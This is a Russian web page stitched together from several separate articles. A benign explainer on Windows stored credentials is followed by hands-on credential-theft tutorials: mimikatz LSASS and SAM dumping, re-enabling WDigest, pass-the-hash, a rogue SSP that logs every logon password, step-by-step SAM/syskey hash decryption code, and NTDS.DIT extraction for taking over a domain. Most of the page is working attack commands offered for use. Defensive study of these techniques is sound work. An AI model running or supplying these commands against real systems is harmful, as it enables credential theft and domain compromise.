Где хранятся пароли windows server

Обновлено: 05.07.2024

В Windows Vista, Windows XP, Windows Server 2008 и Windows Server 2003 существует встроенный механизм, который автоматически управляет именами пользователей и паролями, необходимыми для доступа к ресурсам, требующим учетных данных, отличных от входных учетных данных пользователей. Этот компонент называется Stored User Names and Passwords. В статье рассказывается о его принципах действия и преимуществах. Кроме того, речь пойдет о ручном управлении учетными данными.

Пользователям бывает трудно запоминать многочисленные имена и пароли для доступа к различным ресурсам. Существует немало программ независимых производителей для управления учетными данными, но в Windows Vista, Windows XP, Windows Server 2008 и Windows Server 2003 предусмотрена встроенная функция для автоматического управления именами пользователей и паролями для доступа к ресурсам, требующим учетных данных, отличных от обычных данных регистрации в Windows. Этот компонент называется Stored User Names and Passwords.

С помощью Stored User Names and Passwords можно хранить учетные данные для локальной сети и ресурсов Internet. Типы учетных данных, создаваемые, управляемые и применяемые с использованием компонента:

Пользователям Windows XP Home Edition необходимо помнить, что в этой версии XP хранятся только паспортные учетные данные и имена пользователя и пароли RAS/VPN.

Рассмотрим преимущества компонента Stored User Names and Passwords, принцип его действия и возможности ручного управления учетными данными.

Преимущества Stored User Names and Passwords

При регистрации в системе локально или при регистрации в домене пользователи должны предоставить имя и пароль. После регистрации эти учетные данные становятся контекстом безопасности по умолчанию для доступа к другим ресурсам в локальной сети, удаленной сети и/или Internet. Но иногда учетных данных бывает недостаточно для доступа ко всем необходимым пользователю ресурсам. Например, дополнительные учетные данные требуются для доступа к Web-узлам с проверкой подлинности или доменам, с которыми нет доверительных отношений. Если таких ресурсов много, пользователям нужно вводить целый ряд различных учетных данных.

Разнообразные учетные данные могут потребоваться и администраторам: например, регистрация в сети с обычными учетными данными Windows и использование административных прав для выполнения определенных задач на удаленных серверах.

Необходимость помнить многочисленные комбинации имен пользователей и паролей приводит к неправильному использованию паролей, в том числе слабым паролям, одинаковым паролям для всех ресурсов и записи паролей где бы то ни было. Таких ошибок можно избежать благодаря компоненту Stored User Names and Passwords, который позволяет безопасно хранить многие учетные данные и управлять ими. Пользователям предоставляется единая процедура регистрации, так как они регистрируются только на своих компьютерах и в своих доменах. Поскольку пользователям не приходится запоминать пароли, они, скорее всего, выберут сложные пароли, что существенно повысит общую безопасность.

Учетные данные хранятся в защищенной части профиля пользователя, где они недоступны для других пользователей. Если пользователь располагает единственным профилем в масштабах всей компании (перемещаемый профиль), сохраненные имена пользователя и пароли запоминаются всегда при его регистрации в сети. Это дополнительно расширяет функциональность компонента при сохранении приемлемого уровня безопасности.

Принцип действия Stored User Names and Passwords

При попытке обратиться к Web-узлу или сетевому ресурсу, недоступному с обычными учетными данными, пользователь получает запрос об имени и пароле. Если флажок Remember my password установлен, введенная информация запоминается в профиле пользователя. В следующий раз, когда пользователь подключается к этому ресурсу, проверка подлинности выполняется автоматически на основе сохраненных учетных данных.

Если сохранено несколько наборов учетных данных, Windows упорядочивает их от конкретных к более общим. Если пользователь пытается обратиться к ресурсу, недоступному с его текущими учетными данными, пакет проверки подлинности ищет в репозитории Stored User Names and Passwords наиболее точный набор учетных данных, подходящий для ресурса. Если он обнаружен, пакет проверки подлинности использует его, не запрашивая дополнительных данных. Если нет, пользователь получает приглашение ввести имя и пароль.

Учетные данные

В дополнение к автоматическому созданию и хранению учетных данных при установке флажка Remember my password, можно вручную создать учетные данные для конкретного ресурса. Учетные данные, подготовленные вручную, обрабатываются операционной системой так же, как созданные автоматически.

Vista, XP, Server 2008 и Windows 2003 предоставляют простой и интуитивно понятный интерфейс для создания учетных данных вручную. Можно просматривать, изменять и удалять существующие учетные данные. Кроме того, в Vista и Server 2008 предусмотрена полезная возможность архивации и восстановления наборов учетных данных. На экране 1 показан интерфейс Vista — диалоговое окно Stored User Names and Passwords. Ниже описано, как использовать диалоговое окно Stored User Names and Passwords в XP и Vista. Процессы здесь те же, что и в соответствующих серверных операционных системах.

Доступ к диалоговому окну Stored User Names and Passwords.

В Windows Vista доступ к диалоговому окну выполняется одинаково, независимо от местонахождения компьютера в рабочей группе или домене. Откройте утилиту User Accounts панели управления, щелкните заголовок User Accounts, а затем Manage my network passwords в области Tasks.

В Vista и XP к утилите User Accounts можно обратиться напрямую, открыв окно Run и запустив команду

В результате напрямую открывается диалоговое окно Stored User Names and Passwords. В нем можно добавлять, изменять, удалять, архивировать и восстанавливать наборы учетных данных.

Добавление набора учетных данных. Чтобы вручную добавить набор учетных данных для ресурса, следует щелкнуть кнопку Add для вызова диалогового окна Stored User Names and Passwords, показанного на экране 2.

В поле User name следует ввести имя пользователя в одном из следующих форматов:

В поле Password введите пароль. Наконец, укажите, применимы ли учетные данные для проверки подлинности при регистрации в Windows, на Web-узле или в программе.

Изменение набора учетных данных. Чтобы изменить существующий набор учетных данных, выберите ресурс из списка в диалоговом окне Stored User Names and Passwords, а затем выберите команду Edit (в Vista) или Properties (в XP). Изменять можно только имя пользователя и пароль.

Удаление набора учетных данных. Для удаления существующего набора учетных данных выберите ресурс из списка в диалоговом окне Stored User Names and Passwords и щелкните Remove.

Архивация и восстановление наборов учетных данных (только в Vista и Server 2008). Автоматическое сохранение учетных данных полезно, но их потеря может привести к неприятным последствиям. В Vista и Server 2008 можно архивировать и восстанавливать наборы учетных данных с помощью мастера архивации и восстановления. В целях безопасности процессы архивации и восстановления автоматизировать нельзя. Единственный способ архивировать и восстановить наборы учетных данных — сделать это вручную.

Для архивации в Vista нажмите кнопку Back up в диалоговом окне Stored User Names and Passwords. В диалоговом окне, показанном на экране 3, перейдите в место, где нужно сохранить архивный файл, и введите имя, которое будет ему присвоено.

Все наборы учетных данных хранятся в одном файле .crd, зашифрованном с помощью алгоритма Advanced Encryption Standard (AES). После того как будет указано место и имя файла, пользователь должен нажать клавиши Ctrl+Alt+Del, чтобы переключить Vista в безопасный режим. Затем выдается приглашение ввести новый пароль для защиты учетных данных. Пароль должен быть надежным (содержать буквы верхнего и нижнего регистров, цифры и специальные символы). После ввода и подтверждения пароля учетные данные сохраняются в указанном месте с указанным именем файла.

Если нужно восстановить ранее сохраненные учетные данные, щелкните кнопку Restore в окне Stored User Names and Passwords. Перейдите к местоположению файла .crd и введите пароль. Помните, что восстановленные наборы учетных данных из архивного файла заменяют любые существующие наборы учетных данных в компьютере.

Защита учетных данных

Хранить несколько наборов учетных данных в одном месте удобно, но опасно. Хотя учетные данные хранятся в зашифрованном формате в диспетчере учетных записей (SAM) и профиле пользователя, злоумышленники могут взломать пароли, если получат физический доступ к файлам профиля пользователя.

Для максимально надежной защиты учетных данных важно применить все меры безопасности. Перечислим некоторые из них.

  • Защита пользователями компьютеров, оставленных без присмотра. Например, пользователи должны завершить сеанс или блокировать компьютеры, прежде чем покинуть их на длительное время. Для защиты компьютеров, оставленных без присмотра на короткое время, нужно установить хранители экрана с паролем.
  • Защита ноутбуков с использованием BitLocker или аналогичной программы шифрования. Таким образом, данные будут защищены в случае потери или кражи компьютера.
  • Использование надежного пароля для обычной процедуры регистрации в Windows и регулярная смена этого пароля. В домене лучше всего использовать групповую политику для принудительного изменения пароля.
  • Для особо важных ресурсов можно отключить компонент Stored User Names and Passwords.

Удобный инструмент

Компонент Stored User Names and Passwords — удобный инструмент для пользователей, работающих со многими учетными данными для доступа к различным ресурсам сети и Internet. Он обеспечивает единую процедуру входа. Хотя хранилище учетных данных зашифровано, важно надежно защитить рабочие станции с сохраненными учетными данными.

date

18.05.2021

directory

Windows 10, Windows Server 2016, Безопасность

comments

комментариев 28

В этой статье, написанной в рамках серии статьей, посвященной обеспечению безопасности Windows-систем, мы познакомимся с достаточно простой методикой получения паролей пользователей Windows с помощью Open Source утилиты Mimikatz.

Программа mimikatz позволяет извлечь из памяти Windows пароли в виде простого текста, хэши паролей, билеты kerberos из памяти и т.д. Также mimikatz позволяет выполнить атаки pass-the-hash, pass-the-ticket или генерировать Golden тикеты. Функционал mimikatz доступен также через Metasploit Framework.

В этой статье мы покажем, как получить пароли пользователей в Windows Server 2016 или Windows с помощью mimikatz.

Дисклаймер. Информация и технологии, описанные в данной статье, стоит использовать только в информационно-ознакомительных целях, и ни в коем случае не применять для получения доступа к учетным записям, информации и системам третьих лиц.

Извлекаем хэши паролей пользователей из памяти Windows

получение NTLM хэша пароля пользователя Windows из LSASS

Можно использовать mimikatz не в интерактивном, а в командном режиме. Чтобы автоматически получить хэши паролей пользователей и экспортировать в текстовый файл, выполните команды:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tools\mimikatz\output.txt

Как вы видите, сервис быстро нашел значения для этих NTLM хэшей. Т.е. мы получили пароли пользователей в открытом виде (представьте, что один из них это администратор домена….).

расшифровка ntlm хэшей

Если вы используете более сложные пароли, расшифровать их будет намного сложнее. Поэтому всегда включаете повышенную сложность в политике паролей Windows и выполняйте аудит надежности паролей в домене.

Как вы видите, благодаря mimikatz мы получили NTLM хеши всех активных пользователей! Все это благодаря тому, что на данном компьютере разрешено использовать режим отладки, выставляя флаг SeDebugPrivilege для нужного процесса. В этом режиме программы могут получать низкоуровневый доступ к памяти процессов, запущенных от имени системы.

Примечание. В июне 2017 года многие крупные компании России, Украины и других стран были заражены вирусом-шифровальщиком not-petya, которые для сбора паролей пользователей и администраторов домена использовал в том числе интегрированный модуль mimikatz.

Получение хешей паролей пользователей из дампа памяти Windows

Рассмотренная выше методика получения хэшей пароля не сработает, если на сервере установлен антивирус, блокирующего инъекцию. В этом случае придется сначала создать дамп памяти процесса LSASS на целевом сервере, и затем на другом компьютере с помощью mimikatz извлечь из него хэши пароли для сессий пользователей.

Создать дамп памяти процесса в Windows довольно просто. Запустите Task Manager, найдите процесс lsass.exe, щелкните по нему правой клавишей и выберите Create dump file.

дамп процесса lsass.exe

Windows сохраните дам памяти в указанную папку.

Вам осталось только разобрать дамп с помощью mimikatz (можно на другом компьютере). Загрузите дамп памяти в mimikatz:

Mimikatz “sekurlsa::minidump C:\Users\anovach\AppData\Local\Temp\lsass.DMP”

Вывести информацию о пользователях, и хэшах их паролей из сохраненного дампа памяти:

получение ntlm хэшей из дампа памяти

Вы можете получить дамп памяти с удаленного компьютера с помощью psexec, или через WinRM (при наличии прав администратора), и затем из него пароли пользователей.

Также для получения дампа можно использовать утилиту procdump от Sysinterals.

procdump -ma lsass.exe lsass.dmp

Дамп памяти для процесса LSASS можно получить с помощью PowerShell функции Out-Minidump.ps1 . Импортируйте функцию Out-Minidump в PoSh и создайте дамп памяти процесса LSASS:

Import-Module .\OutMiniDump.ps1
Get-Process lsass | Out-Minidump


Получение паролей пользователей из файлов виртуальных машины и файлов гибернации

Также возможно извлечь пароли пользователей из файлов дампов памяти, файлов гибернации системы (hiberfil.sys) и. vmem файлов виртуальных машин (файлы подкачки виртуальных машин и их снапшоты).

Для этого понадобится пакет Debugging Tool for Windows (WinDbg), сам mimikatz и утилита преобразования .vmem в файл дампа памяти (для Hyper-V это может быть vm2dmp.exe или MoonSols Windows Memory toolkit для vmem файлов VMWare).

Например, чтобы преобразовать файл подкачки vmem виртуальной машины VMWare в дамп, выполните команду:

bin2dmp.exe "winsrv2008r2.vmem" vmware.dmp

Полученный дамп откройте в WinDbg (File -> Open Crash Dump). Загрузите библиотеку mimikatz с именем mimilib.dll (используйте версию библиотеки в зависимости от разрядности Windows):

Найдите в дампе процесс lsass.exe:

!process 0 0 lsass.exe

Поиск в дампе памяти процесса lsass

И наконец, выполните:

.process /r /p fffffa800e0b3b30
!mimikatz

В результате вы получите список пользователей Windows, и NTLM хэши их паролей, или даже пароли в открытом виде.

Получаем пароль пользователя Windows

Как узнать пароли пользователей Windows в открытом виде через протокол WDigest?

Протокол WDigest по-умолчанию отключен во всех новых версиях Windows, в том числе Windows 10 и Windows Server 2016. Но не удален окончательно. Если у вас есть права администратора в Windows, вы можете включить протокол WDiget, дождаться входа пользователей и получить их пароли.

Включите поддержку Wdigest:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

Дождитесь входа пользователей (в Windows 10 нужно пользователю нужно перезайти, в Windows Server 2016 достаточно разблокировать сессию после блокировки экрана) и получите их пароли через mimikatz:

Как вы видите, в секции wdigest содержится пароль пользователя в открытом виде:

получение пароля пользователя в открытом виде

Извлекаем пароли локальных пользователей Windows из SAM

С помощью mimikatz вы можете извлечь хэши паролей локальных пользователей Windows из SAM так:

Также можно извлечь NTLM хэши SAM из реестра.

экспорт реестра

  1. Экспортируйте содержимое веток реестра SYSTEM и SAM в файлы: reg save hklm\sam c:\tmp\sam.hiv
    reg save hklm\security c:\tmp\sec.hiv
  2. Затем с помощью Mimikatz извлеките хэши паролей: privilege::debug
    token::elevate
    lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv

извлечение ntlm хэшей из реестра

Использование Mimikatz в pass-the-hash атаках

Если у пользователя используется достаточно сложный пароль, и получить его быстро не удается, можно использовать Mimikatz для атаки pass-the-hash (повторное использование хэша). В этом случае хэш может использовать для запуска процессов от имени пользователя. Например, получив NTLM хэш пароля пользователя, следующая команда запустит командную строку от имени привилегированного аккаунта:

privilege::debug
sekurlsa::pth /user:Administrator /domain:srv01 /ntlm:e19ccf75ee54e06b06a5907af13cef42 /run:powershell.exe

использование mimikatz для запуска команд по известному хэшу

Также для использования NTLM хэша для выполнения команд на удаленных компьютерах можно использовать утилиту Invoke-TheHash. Позволяет также

Просмотр сохраненных паролей в Windows

В Windows вы можете сохранять пароли в Windows Credential Manager (это могут быть пароли для доступа к удаленным компьютерам, сайтам, пароли для RDP подключений в формате TERMSRV/server1). Mimikatz может извлечь эти пароли из Credential Manager и показать их вам:

Как вы видите, сохраненый пароль показан в секции credman.

получаем сохраненные пароли Windows

Пароли для автоматического входа в Windows хранятся в реестре в открытом виде. Также просто извлечь сохраненные Wi-Fi пароли.

Дампим пароли при входе в Windows

Еще один интересный способ дампа паролей в Windows заключается в использовании дополнительно SSP провайдера (Security Support Provider).

поддельный ssp провайдер mimilib.dll

  1. Скопируйте файл библиотеки Mimikatz mimilib.dll в папку C:\Windows\System32\.
  2. Зарегистрируйте дополнительного провайдер командой: reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
  3. При входе каждого пользователя в Windows его пароль будет записываться в файл kiwissp.log. Можно вывести все пароли через PowerShell:
    Get-Content C:\Windows\System32\kiwissp.log

пароли всех пользователей зписываются при входе в Windows в тектовый файл

Как защитить Windows от извлечения паролей из памяти?

В Windows 8.1 и Server 2012 R2 (и выше) возможности по извлечению паролей через LSASS несколько ограничены. Так, по-умолчанию в этих системах в памяти не хранятся LM хэш и пароли в открытом виде. Этот же функционал бэкпортирован и на более ранние версии Windows (7/8/2008R2/2012), в которых нужно установить специальное обновление KB2871997 (обновление дает и другие возможности усилить безопасность системы) и отключить WDigest в реестре (в ветке HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest установить параметр DWORD реестра UseLogonCredential равным 0).

Если после установки обновления и ключа UseLogonCredential попробовать извлечь пароли из памяти, вы увидите, что mimikatz с помощью команды creds_wdigest не сможет извлечь пароли и хэши.

mimikatz creds_wdigest не работает в Windows 8.1 / 2012 R2 и выше

Выше мы показывали, как при наличии прав администратора можно легко установить этот ключ в уязвимое значение. После этого вы опять сможете получить доступ к паролям в памяти LSA.

В инструментарии mimikatz есть и другие инструменты получения паролей и их хэшей из памяти (WDigest, LM-hash, NTLM-hash, модуль для захвата билетов Kerberos), поэтому в качестве рекомендаций рекомендуется реализовать следующие меры:

Существует 2 возможности получения пароля — через реестр, или получив прямой доступ к файлам-кустам реестра. В любом случае нужны будут либо привелегии пользователя SYSTEM, либо хищение заветных файлов, например, загрузившись из другой ОС. Здесь я не буду описывать возможности получения доступа, но в целях исследования нагляднее будет выбрать первый вариант, это позволит не заострять внимание на структуре куста реестра. А запуститься от системы нам поможет утилита psExec от sysinternals. Конечно, для этих целей можно использовать уязвимости windows, но статья не об этом.

V-блок

Windows до версии Vista по умолчанию хранила пароль в двух разных хэшах — LM и NT. В висте и выше LM-хэш не хранится. Для начала посмотрим где искать эти хэши, а потом разберемся что из себя они представляют.

Пароли пользователей, а так же много другой полезной информации хранится в реестре по адресу HKLM\SAM\SAM\Domains\Account\users\[RID]\V
, известном как V-блок. Раздел SAM находится в соответствующем файле c:\Windows\System32\config\SAM. RID — уникальный идентификатор пользователя, его можно узнать, например заглянув в ветку HKLM\SAM\SAM\Domains\Account\users\names\<имя пользователя> (параметр Default, поле — тип параметра). Например, RID учетной записи «Администратор» всегда 500 (0x1F4), а пользователя «Гость» — 501 (0x1f5). Доступ к разделу SAM по умолчанию возможен только пользователю SYSTEM, но если очень хочется посмотреть — запускаем regedit c правами системы:

PsExec.exe -s -i -d regedit.


Чтобы наблюдать V-блок в удобном виде можно, например, экспортировать его в текстовый файл (File-Export в Regedit).
Вот что мы там увидим:

От 0x0 до 0xCC располагаются адреса всех данных, которые находятся в V-блоке, их размеры и некоторая дополнительная информация о данных. Чтобы получить реальный адрес надо к тому адресу, что найдем прибавить 0xCC. Адреса и размеры хранятся по принципу BIG ENDIAN, т.е понадобится инвертировать байты. На каждый параметр отводится по 4 байта, но фактически все параметры умещаются в одном-двух байтах. Вот где искать:

Адрес имени пользователя — 0xС
Длина имени пользователя — 0x10
Адрес LM-хэша — 0x9с
Длина LM-хэша — 0xa0
Адрес NT-хэша — 0xa8
длина NT-хэша — 0xac

В данном случае имя пользователя найдется по смещению 0xd4 + 0xcc и его длина будет 0xc байт.
NT-хэш будет располагаться по смещению 0x12c + 0xcc и его размер (всегда один и тот же) = 0x14.

int lmhashOffset = userVblock[0x9c] + userVblock[0x9d] * 0x100 + 4 + 0xcc;
int nthashOffset = userVblock[0xa8] + userVblock[0xa9] * 0x100 + 4 + 0xcc;
int lmhashSize = userVblock[0xa0] + userVblock[0xa1] * 0x100 - 4;
int nthashSize = userVblock[0xac] + userVblock[0xad] * 0x100 - 4;
int usernameOffset = userVblock[0xc] + userVblock[0xd] * 0x100 + 0xcc;
int usernameLen = userVblock[0x10] + userVblock[0x1a] * 0x100;
userVblock — значение HKLM\SAM\SAM\Domains\Account\users\\V в виде массива байт.
Еще про V-блок можно почитать тут.

Алгоритмы

Теперь разберемся в алгоритмах шифрования.
Формирование NT-хэша:
1. Пароль пользователя преобразуется в Unicode-строку.
2. Генерируется MD4-хэш на основе данной строки.
3. Полученный хэш шифруется алгоритмом DES, ключ составляется на основе RID пользователя.
Формирование LM-хэша:
1. Пароль пользователя преобразуется в верхний регистр и дополняется нулями до длины 14 байт.
2. Полученная строка делится на две половинки по 7 байт и каждая из них по отдельности шифруется алгоритмом DES. В итоге получаем хэш длиной 16 байт (состоящий из двух независимых половинок длиной по 8 байт).
3. Полученный хэш шифруется алгоритмом DES, ключ составляется на основе RID пользователя.

4. В windows 2000 и выше оба полученых хэша дополнительно шифруются алоритмом RC4 с помощью ключа, известного как «системный ключ» или bootkey, сгенерированого утилитой syskey, и шифруются довольно хитрым образом.

Рассмотрим общую последовательность действий для получения исходного пароля и каждый шаг в отдельности
1. Получаем bootkey, генерируем на его основе ключи для RC4, расшифровываем хэши с помощью RC4
2. Получаем ключи для DES из RID'ов пользователей, расшифровываем хэши DES'ом
3. Полученые хэши атакуем перебором.

Bootkey

Системный ключ (bootkey) разбит на 4 части и лежит в следующих разделах реестра:

HKLM\System\CurrentControlSet\Control\Lsa\JD
HKLM\System\CurrentControlSet\Control\Lsa\Skew1
HKLM\System\CurrentControlSet\Control\Lsa\GBG
HKLM\System\CurrentControlSet\Control\Lsa\Data

Раздел system находится в файле c:\Windows\System32\config\system

Следует отметить, что раздел CurrentControlSet является ссылкой на один из разделов controlset и создается в момент загрузки системы. Это значит что не получится его найти в файле system, если система неактивна. Если вы решили искать ключ в файле — необходимо узнать значение ContolSet по умолчанию в HKLM\SYSTEM\Select\default.
например если HKLM\SYSTEM\Select\default = 1 — вместо HKLM\System\CurrentControlSet\ ищем в HKLM\System\controlset001\

У каждого ключа реестра есть некий скрытый атрибут, известный как «class». Regedit его так просто не покажет, однако его можно увидеть, например, если экспортировать эти ключи реестра в текстовые файлы. В winapi для получения этого атрибута есть функция RegQueryInfoKey.
Фрагменты хранятся в строковом представлении шестнадцатеричных чисел, причем по принципу BIG ENDIAN (т.е не строка задом наперед, а число).
Например мы обнаружили вот такие записи:

Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\JD
Class Name: 46003cdb =
Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Skew1
Class Name: e0387d24 =
Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\GBG
Class Name: 4d183449 =
Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Data
Class Name: 0419ed03 =

Собраный из четырех частей ключ будет массивом байт:

Далее элементы этого массива переставляются на основе некоторого константного массива p

key[i] = scrambled_key[p[i]];

В нашем примере получится массив:

этот массив и есть так называемый bootkey. Только в шифровании паролей будет учавствовать не он а некий хэш на основе bootkey, фрагментов f-блока и некоторых констант. Назовем его Hashed bootkey.

Hashed bootkey

для получения Hashed bootkey нам понадобятся 2 строковые константы (ASCII):

На основе этих значений, склееных в один большой массив формируем MD5 хэш, который будет являться ключем для шифрования RC4

rc4_key = MD5(F[0x70:0x80] + aqwerty + bootkey + anum).

Последним шагом для получения hashed bootkey будет rc4 шифрование( или дешифрование — в rc4 это одна и та же функция) полученым ключем фрагмента F-блока F[0x80:0xA0];

Hashed bootkey у нас в руках, осталось научиться с ним правильно обращаться.

Дешифруем пароли с помощью Hashed Bootkey

для паролей LM и NT нам понадобятся еще 2 строковые константы —

string almpassword = "LMPASSWORD";
string antpassword = "NTPASSWORD";

а так же RID пользователя в виде 4х байт (дополненый нулями) и первая половина Hashed Bootkey (hashedBootkey[0x0:0x10]);
Все это склеивается в один массив байт и считается MD5 по правилам:
rc4_key_lm = MD5(hbootkey[0x0:0x10] +RID + almpassword);
rc4_key_nt = MD5(hbootkey[0x0:0x10] +RID + antpassword);

полученый md5 хэш — ключ для rc4, которым зашифрованы LM и NT хэши в V-блоке пользователя

userLMpass = RC4(rc4_key_lm,userSyskeyLMpass);
userNTpass = RC4(rc4_key_lm,userSyskeyNTpass);

На этом этапе мы получили пароли пользователя в том виде в каком они хранились бы без шифрования syskey, можно сказать, что самое сложное позади. Переходим к следующему шагу

private byte[] sid_to_key1(byte[] rid) byte[] s = new byte[7];
s[0] = (byte)(rid[0] & 0xFF);
s[1] = (byte)(rid[1] & 0xFF);
s[2] = (byte)(rid[2] & 0xFF);
s[3] = (byte)(rid[3] & 0xFF);
s[4] = s[0];
s[5] = s[1];
s[6] = s[2];

private byte[] sid_to_key2(byte[] rid) byte[] s = new byte[7];
s[0] = (byte)((rid[3]) & 0xFF);
s[1] = (byte)(rid[0] & 0xFF);
s[2] = (byte)((rid[1]) & 0xFF);
s[3] = (byte)((rid[2]) & 0xFF);
s[4] = s[0];
s[5] = s[1];
s[6] = s[2];

Ну здесь особо комментировать нечего, кроме функции des_set_odd_parity(ref key) — это одна из функций библиотеки openssl, задача которой добавить некоторые «биты нечетности», используется для повышения стойкости ключа к атакам.

Далее разбиваем NT (или LM) хэш на 2 части по 8 байт и дешифруем DES'ом -одна половина зашифрована ключем сформированым функцией sid_to_key1, вторая — sid_to_key2.
obfskey_l = userNTpass[0x0:0x7]
obfskey_r = userNTpass[0x8:0xF]
byte[] deskey1 = sid_to_key1(RID);
byte[] deskey2 = sid_to_key2(RID);
byte[] md4hash_l = DES(obfskey_l, deskey1);
byte[] md4hash_r = DES(obfskey_r, deskey2);

После склеивания двух половин мы получим md4 хэш -в случае NT, или LanMan (DES) — в случае LM. Полученый хэш полностью готов к атаке перебором.
Кстати, md4 Хэш от пустого пароля — 31d6cfe0d16ae931b73c59d7e0c089c0

Исследование проведено на основе исходного кода ophcrack-3.3.1, а так же статьи Push the Red Button:SysKey and the SAM

image

Подводим итоги по менеджеру учетных записей безопасности

В предыдущей статье из серии, я в общих словах объяснил, что такое Менеджер безопасности учетных записей (SAM) Windows, и как, получив физический или удаленный доступ к системе достать из SAM хешированные пароли локальных пользователей. При удаленном доступе существует три возможных метода получения хешей: метод, основанный на унаследованных возможностях Windows, на теневом копировании томов, и на внедрении в память процесса. Наконец, я сделал сводную электронную таблицу с описанием наиболее часто используемых утилит для дампа хешей из памяти процесса. О некоторых утилитах из этой таблице речь пойдет ниже.

И опять же я хочу повторить следующую мысль: если есть возможность перемещать файлы между вашей машиной и целевой системой, то всегда сначала копируйте файлы SAM и SYSTEM с целевой системы, а затем уже доставайте хеши паролей в оффлайн-режиме.

Тем не менее, простое копирование файлов не гарантирует, что вы получите хеши всех локальных учетных записей. Если все хеши вам получить так и не удалось, то придется слить их из памяти и объединить результаты. Странно, но с подобными случаями я сталкивался не раз, и, хочу подчеркнуть, что речь идет об автономных (не входящих в домен) рабочих станциях Windows.

Рекомендуемые инструменты

Лично я первое место отдаю утилите pwdump7. Утилита работает на всех версиях Windows (как 32-х, так и 64-разрядных), начиная с Windows 2000 и выше. Тем не менее, pwdump7 не может сливать хешированные пароли из памяти, и поэтому некоторые хеши вы можете так и не получить. Для того чтобы ничего не упустить, я всегда использую pwdump7 совместно с gsecdump.

Когда на целевой системе мне удалось запустить Metasploit Meterpreter, я пользуюсь пост-эксплойтом smart_hashdump Карлоса Переза (Carlos Perez). Если же smart_hashdump не срабатывает, то я прибегаю к его предыдущей версии – пост-эксплойту hashdump.

Active Directory

Active Directory выступает в роли централизованного хранилища, служащего для управления сетью и безопасностью. В функции службы каталогов входит аутентификация и авторизация всех пользователей внутри домена Windows, создание и выполнение политик безопасности […] Когда пользователь регистрируется в системе на компьютере, входящем в домен, то именно Active Directory проверяет пароль пользователя […]

Информация из определения пригодится вам, после компрометации какой-либо системы из домена Windows. Для того чтобы быстро взять под контроль весь домен, вам нужно получить доступ к корневому контроллеру домена. Если же вы находитесь в домене-потомке, то ваша цель – получить доступ к контроллеру корневого домена леса с правами Администратора предприятия.

Также существует вероятность, что администратор использует одни и тот же пароль локального администратора на всех машинах домена. В подобном случае, вам достаточно с помощью keimpx узнать пароль всего на одной машине, и контроллер у вас в руках!

Неважно, каким именно способом вы получили доступ к контроллеру домена (в идеале, подключились к корневому контроллеру домена, так как именно на нем в первую очередь отражаются изменения учетных записей пользователей), самое главное: запустить на контроллере командную строку с правами администратора (локального или доменного).

Файл базы данных NTDS.DIT

Наша цель теперь: получить хешированные пароли доменных пользователей. Пароли, как и практически вся другая информация Active Directory (пользовательские объекты, группы, информация о принадлежности к группам и.т.д.) хранится в бинарном файле %SystemRoot%\ntds\NTDS.DIT.

Файл NTDS.DIT заблокирован системой. Для получения этого файла вместе с файлом SYSTEM воспользуйтесь службой теневого копирования томов, как описывалось в предыдущей статье.

Как вариант, используйте функцию создания снимка утилитой ntdsutil, впервые такая функция была представлена в Windows Server 2008. Утилита сделает мгновенный снимок базы данных Active Directory, что позволит вам скопировать ntds.dit и файл SYSTEM. О том, как сделать снимок, написано в статье Microsoft TechNet.

Извлечение хешей из NTDS.DIT

Также для извлечения хешей подойдет пакет (ntds_dump_hash.zip), разработанный Ксаба Бартой (Csaba Barta). Функции пакета описаны в статье “Исследование получения хеша паролей в оффлайн-режиме и анализ ntds.dat”. ntds_dump_hash.zip позволяет:

  • извлечь необходимые таблицы из ntds.dit: esedbdumphash
  • получить хеши и дополнительные сведения об учетных записях пользователей: dsdump.py, dsdumphistory.py, dsuserinfo.py.

Скачайте и скомпилируйте пакет:

Воспользуйтесь esedbdumphash, чтобы извлечь таблицу datatable из ntds.dit:

$ cd esedbtools
$ ./esedbdumphash -v -t /tmp/output
$ ls -1 /tmp/output.export/
datatable

Используйте dsdump.py, чтобы получить хеши из таблицы datatable с помощью bootkey (SYSKEY) из куста SYSTEM:

$ cd ../../creddump/
$ chmod +x *.py
$ ./dsuserinfo.py /tmp/output.export/datatable
$ ./dsdump.py /tmp/output.export/datatable --include-locked
--include-disabled > domain_hashes.txt

Как и в случае с автономными рабочими станциями, вы точно так же, используя те же методы, можете слить пароли доменных пользователей, внедрившись в память процесса. Но будьте осторожны при манипуляциях с процессом LSASS на контроллере домена: в худшем случае вам придется перезагружать критически важный сервер.

Информацию обо всех описанных в этой статье утилитах я добавил в электронную таблицу.

Изменения на 4 января 2012г.

В декабре 2011 года, Ксаба Барта изучил структуру NTDS.DIT более подробно, и в результате разработал новый фреймворк под названием NTDSXtract. Фреймворк совместно с утилитой libesedb позволяет извлечь информацию из таблиц базы данных ntds.dit. NTDSXtract и libesedb корректно работают на 64х-разрядных системах.

Скачайте и установите последнюю версию libesedb.

Извлеките таблицы из ntds.dit:

$ esedbexport -l /tmp/esedbexport.log -t /tmp/ntds.dit
esedbexport 20111210
Opening file.
Exporting table 1 (MSysObjects) out of 12.
Exporting table 2 (MSysObjectsShadow) out of 12.
Exporting table 3 (MSysUnicodeFixupVer2) out of 12.
Exporting table 4 (datatable) out of 12.
Exporting table 5 (hiddentable) out of 12.
Exporting table 6 (link_table) out of 12.
Exporting table 7 (sdpropcounttable) out of 12.
Exporting table 8 (sdproptable) out of 12.
Exporting table 9 (sd_table) out of 12.
Exporting table 10 (MSysDefrag2) out of 12.
Exporting table 11 (quota_table) out of 12.
Exporting table 12 (quota_rebuild_progress_table) out of 12.
Export completed.

$ ls -1 /tmp/ntds.dit.export/
datatable.3
hiddentable.4
link_table.5
[. ]

С помощью NTDSXtract извлеките из таблицы datatable хешированные пароли и историю паролей:

Читайте также: